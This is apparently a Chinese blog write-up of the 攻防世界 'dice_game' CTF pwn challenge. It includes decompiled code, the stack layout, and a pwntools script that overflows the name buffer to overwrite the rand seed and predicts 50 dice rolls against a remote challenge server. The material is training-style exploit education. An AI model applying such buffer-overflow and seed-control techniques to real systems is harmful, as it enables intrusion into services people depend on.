首页 > 技术文章 > 『攻防世界』:进阶区 | dice_game

Zowie 2020-08-10 13:06 原文

进过一小段时间的沉淀,发现自己是个小垃圾以外并没有什么收获,还是继续看看题过养老生活吧

题目链接

先检查程序:没有发现canary,有可能可以实现栈溢出操作

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

放进IDA进行静态分析:emmm,和新手区的guess_number非常相似,这题

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v8 == 50 )
    {
      sub_B28((__int64)buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

sub_A20():

signed __int64 sub_A20()
{
  signed __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h]
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
    if ( v1 == v2 )
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}

想要一只连续猜中50次,首先需要控制它的seed[],这里可以通过输入名字时通过buf覆盖seed

-0000000000000050 buf             db 55 dup(?)
-0000000000000019 var_19          db ?
-0000000000000018 var_18          dq ?
-0000000000000010 seed            dd 2 dup(?)

控制了seed后再根据他提供的libc来生成随机数,这道题和guess_number基本一致,有不清楚的可以看我之前的那篇.

参考exp:

from pwn import *
from ctypes import *

io = remote("220.249.52.133",54506)

libc = cdll.LoadLibrary("libc.so.6")
io.recv()
payload = 0x40*"a" + p64(0)
io.sendline(payload)

a = []
for i in range(50):
    a.append(libc.rand()%6+1)
print(a)
for i in a:
    io.recv()
    print(io.recv())
    io.sendline(str(i))
io.interactive()

 

推荐阅读